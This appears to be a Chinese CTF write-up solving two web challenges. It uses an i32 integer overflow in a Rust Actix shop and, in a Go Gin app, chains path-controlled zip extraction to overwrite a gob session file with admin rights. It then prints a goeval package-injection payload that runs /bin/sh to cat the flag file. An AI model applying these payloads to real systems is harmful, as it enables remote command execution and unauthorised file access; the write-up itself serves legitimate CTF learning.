考点:前端js代码审计
考点:整数溢出
main.rs我们分段分析
首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。
然后就是定义了不同结构体并且自动生成了序列化
#[derive(Serialize)]
struct APIResult {
success: bool,
message: &'static str,
}
#[derive(Deserialize)]
struct Info {
name: String,
quantity: i32,
}
#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
name: &'static str,
cost: i32,
}
给了payload列表
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];
然后看向/
路由
#[get("/")]
async fn index(tera: web::Data) -> Result {
let mut context = Context::new();
context.insert("gongde", &GONGDE.get());
if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}
match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}
在函数内部,首先创建了一个Context对象。然后通过context.insert("gongde",&GONGDE.get())
将名为"gongde"的变量插入到上下文中,其值使用了一个全局变量GONGDE的get()方法来获取。接下来,通过判断GONGDE.get()的值是否大于1,000,000,000,如果是则返回flag
最后分析/upgrade
路由
#[post("/upgrade")]
async fn upgrade(body: web::Form) -> Json {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}
if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}
web::Json(APIResult {
success: false,
message: "禁止开摆",
})
}
POST接收info结构体的参数进行解析,然后返回json格式的APIResult
类型的值;然后判断GONGDE.get() 的值是否小于0,POST请求参数quantity值是否小于等于0,如果name的值等于Donate或者Cost,进行自乘;如果大于i32则会造成整数溢出
i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数,可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。
name=Loan&quantity=11451411
考点:文件覆盖、go沙箱逃逸
源码如下
package main
import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)
type User struct {
Name string
Path string
Power string
}
func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
r.Run(":80")
}
分析一下
/
路由下定义了userDir为/tmp/xxx/
,然后将该值赋值给session的键名shallow,接着创建目录读取user.gob并且创建user对象,具有三个属性。最后创建了一个新的Gob编码器encoder,并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法,user对象的值将被序列化并写入文件中/upload
路由就是简单的文件上传功能,限制了上传文件类型不能为go和gob/unzip
路由定义userUploadDir为session的shallow值拼接上uploads/,然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压/backdoor
路由读取user.gob文件内容,判断是否为admin,如果是则返回good整体思路:我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob,使得身份为admin;然后利用/backdoor
的eval实现命令执行
我们已经知道user.gob的生成方式
那么我们创建user.go,内容如下
package main
import (
"encoding/gob"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main() {
gobFile, _ := os.Create("user.gob")
user := User{Name: "ctfer", Path: "/tmp/4f0436fe5585d82af7c4545984d58188/", Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}
go run
一下,得到user.gob
然后丢到linux里压缩成zip
上传文件后,访问/unzip
去解压到对应路径
然后我们访问一下/backdoor
,成功覆盖
接下来就是如何命令执行 参考文章
这里考点是go语言沙箱逃逸
payload
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]
for i in range(42):
print(chr(str[i]),end="")